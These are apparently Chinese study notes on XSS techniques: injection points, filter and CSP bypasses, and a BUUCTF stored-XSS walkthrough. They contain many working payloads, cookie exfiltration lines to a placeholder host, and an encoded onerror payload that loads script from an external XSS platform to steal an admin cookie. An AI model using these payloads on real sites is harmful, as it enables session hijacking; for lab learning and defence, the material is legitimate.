分类:反弹型、储存型
一、注入点
1、html标签之间
<h1>hello <?=$name?></h1>
payload:<script>alert</script>
2、标签属性中
<input type="text" name="test123" value="<?=$name?>">
payload:<input type="test" name=“test23” value="" autofocus onfocus="alert(1)">
伪协议
<a href="javascript:alert(1)">clik</a>
<iframe src="javascript:alert(1)"></iframe>
3、javascript变量中
<?php
$name = $_GET['name'];
?>
<!DOCTYPE html>
<html>
<head>
<title>test</title>
</head>
<body>
<script type="text/javascript">
var name = "<?=$name?>";
document.write("hello "+name);
</script>
</body>
</html>
payload:?name=lusong"%2balert(1);// %2b ------ +
?name=lusong";alert(1);// 换行执行
二、漏洞利用与绕过方法
两个层:WAF、代码层
1、黑名单绕过
寻找没有被过滤的标签
2、双写、大小写转换
双写:在直接将一些关键字用空字符替换的时候可以用
大小写转换:过滤的时候没考虑大小写问题
2、利用标签事件
比如标签点击、聚焦、鼠标动作事件来触发代码执行
标签闭合:注入点在标签属性中,闭合标签使注入点在=变成一个独立的标签
3、HTML实体编码和js编码
html实体解析也不是在构建DOM树时解码的,所以被实体编码的字符在构建DOM树时不能被识别,比如 <>、src=、type=、href= 等等
但可以通过实体编码绕过后台过滤检测,比如用在<a>标签href属性里注入恶意代码,当点击的时候会也解码后的内容执行(个人还不是很理解,源代码里是没解码的但查看元素是解码的,a标签执行跳转内容是也元素为准吗?)
如xss平台level8:
JS解析器可对Unicode 编码进行解码,但编码后的数据不能作为js代码,不如编码后的 引号、函数等不能执行。
页面原有js代码的js解析实在构建DOM树之前完成,所有js编码解析在html实体解析之前
4、变量组合函数
如果对js函数进行了过滤,可以用变量组合来构成函数,如对eva()函数进行过滤
aaa=eval;
aaa("evil code");
5、攻击语句逃逸(闭合javascript语句)
<script>
var name = "<?=$name?>";
</script>
输入:?name=test";alert(1);//
变成:var name = "test";alert(1);//"
转义字符利用
过滤了引号,在如下场景可以转义 \
<script>
var name ="<?=name?>"+"<?=age?>";
</script>
输入:?name=test\&age=;alert(1);//
变成:var name ="test\"+";alert(1);";
反引号也可作为javascript边界字符(过滤不充分)
7、隐藏payload于location.hash中
location.hash:hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分
https://www.baidu.com#admin
location.hash 就为#admin
#admin不会传输到服务端,所以不存在过滤。
8、CSP过滤及绕过
CSP 内容安全策略,即规定只允许加载哪些特定资源,
如下:只运行加载来自 *.baidu.com 的javascript代码
<?php
header('Content-Security-Policy: script-src *.baidu.com')
?>
对应 script-src 'self' 即只允许加载同源js文件,可以利用 文件上传,JSON接口来写入我们的恶意代码到服务端,再加载,这样就符合同源。
9、数据外带
link标签
<link rel="prefetch" href="http://xxx.com/?cookie=xxx">
<link rel="dns-prefetch" href="http://xxx.com/?cookie=xxx">
页面跳转
location.href="http://xxx.com/?cookie="+escape(document.cookie)
三、DOM XSS
对DOM树节点进行增加,或修改,引入被污染的变量,从而导致XSS。
四、二次渲染导致 XSS
典型的 用AngularJS存在模板注入
五、储存型XSS
BUUCTFhttps://buuoj.cn/
BUU XSS COURSE 1
有给留言板功能,典型的储存型。
输入 <img src="#">
则判断存在注入点,
现在思路是在服务端的代码头部添加我们的javascript源
<head>
<script href="http://xxx.com">
</head>
先通过吐槽框将我们的payload 提交到服务端,服务端会将这个数据保存并显示在留言板上,只要有人访问这个留言板,就会触发我们的代码。
我们的payload 通过在head 中添加我们自己的XSS平台的javascript源,即每当有人访问留言板就会触发我们的payload 并且会引入我们的JS文件。
document.createElement() 会创建一个标签
即我们可以创建
<script href="http://www.xssye.com/fA8U"> //xss平台
推荐 https://xssaq.com/xss.php?do=login
也可以自己搭建 推挤 蓝莲花 搭建非常简单
构建js代码
eval(unescape(/var b;b=document.createElement("script");b.src="http://www.xssye.com/fA8U";(document.getElementsByTagName("HEAD"))[0].appendChild(b);/.source))
放在<img>标签的onerror属性中
<img src="#" onerror=eval(unescape(/var b;b=document.createElement("script");b.src="http://www.xssye.com/fA8U";(document.getElementsByTagName("HEAD"))[0].appendChild(b);/.source))>
将/.../中的进行URL编码(特殊符号也要编码)
<img src="#" onerror=eval(unescape(/var%20b%3Bb%3Ddocument.createElement(%22script%22)%3Bb.src%3D%22http%3A%2F%2Fwww.xssye.com%2FfA8U%22%3B(document.getElementsByTagName(%22HEAD%22))%5B0%5D.appendChild(b)%3B/.source))>
j将数据丢入输入框,提交
进入留言页面,参看源码head,发现我们的<script>标签及内容成功注入。
并且已经下载了我们XSS平台上的代码
返回XSS平台,查看消息,发现有两条,一条是我们访问留言板时的信息,另一条可以看到访问页面有 admin.php页面,这这个可能登录的后台,可以用他的cookie假冒访问admin.php,
访问 /backend/admin.php 并且更改cookie内容